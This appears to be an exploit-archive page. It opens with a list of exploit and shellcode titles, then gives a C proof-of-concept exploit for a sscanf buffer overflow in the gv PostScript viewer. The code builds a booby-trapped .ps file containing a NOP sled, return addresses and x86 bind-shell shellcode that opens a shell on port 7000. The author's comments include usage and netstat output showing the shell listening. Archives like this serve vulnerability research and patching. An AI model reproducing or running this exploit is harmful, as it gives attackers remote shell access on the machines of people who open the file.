
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
86 lines
No EOL
3.1 KiB
C
86 lines
No EOL
3.1 KiB
C
// source: https://www.securityfocus.com/bid/5808/info
|
|
|
|
gv is a freely available, open source Portable Document Format (PDF) and PostScript (PS) viewing utility. It is available for Unix and Linux operating systems.
|
|
|
|
It has been reported that an insecure sscanf() function exists in gv. Due to this function, an attacker may be able to put malicious code in the %%PageOrder: portion of a file. When this malicious file is opened with gv, the code would be executed in the security context of the user opening the file.
|
|
|
|
/*
|
|
* gv postscript viewer exploit , infamous42md AT hotpop DOT com
|
|
*
|
|
* run of the mill bof. spawns a remote shell on port 7000. woopty doo. if
|
|
* someone has been able to exploit the heap overflow in cfengine, please email
|
|
* me and teach me something. after days of pain i've concluded it's not
|
|
* possible b/c you can't manipulate the heap enough to get anything good in
|
|
* front of you. please prove me wrong so i can learn.
|
|
*
|
|
* shouts to mitakeet
|
|
*
|
|
* [n00b@localho.outernet] netstat -ant | grep 7000
|
|
* [n00b@localho.outernet] gcc -Wall -o gvown gvown.c
|
|
* [n00b@localho.outernet] ./gvown 0xbffff350
|
|
* [n00b@localho.outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps
|
|
* [n00b@localho.outernet] netstat -ant | grep 7000
|
|
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
|
|
*/
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <fcntl.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
|
|
#define NOP 0x90
|
|
#define NNOPS 512
|
|
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
|
|
#define BS 0x10000
|
|
#define RETADDR_BYTES 400
|
|
#define PS_COMMENT "%!PS-Adobe- "
|
|
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"
|
|
|
|
|
|
/* call them on port 7000, mine */
|
|
char remote[] =
|
|
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
|
|
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
|
|
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
|
|
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
|
|
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
|
|
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
|
|
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
|
|
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
|
|
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
int len, x, fd;
|
|
char buf[BS];
|
|
u_long retaddr;
|
|
|
|
if(argc < 2){
|
|
fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
|
|
return EXIT_FAILURE;
|
|
}
|
|
sscanf(argv[1], "%lx", &retaddr);
|
|
|
|
/* create 3vil buf */
|
|
memset(buf, NOP, BS);
|
|
strcpy(buf, PS_COMMENT);
|
|
len = strlen(buf);
|
|
for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
|
|
memcpy(buf+x+len, &retaddr, sizeof(retaddr));
|
|
len += x + NNOPS;
|
|
strcpy(buf+len, remote);
|
|
strcat(buf+len, "\n");
|
|
len += strlen(remote) + 1; /* + NULL */
|
|
|
|
/* create the 3vil file */
|
|
if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
|
|
die("open");
|
|
|
|
if(write(fd, buf, len) < 0)
|
|
die("write");
|
|
|
|
close(fd);
|
|
|
|
return 0;
|
|
} |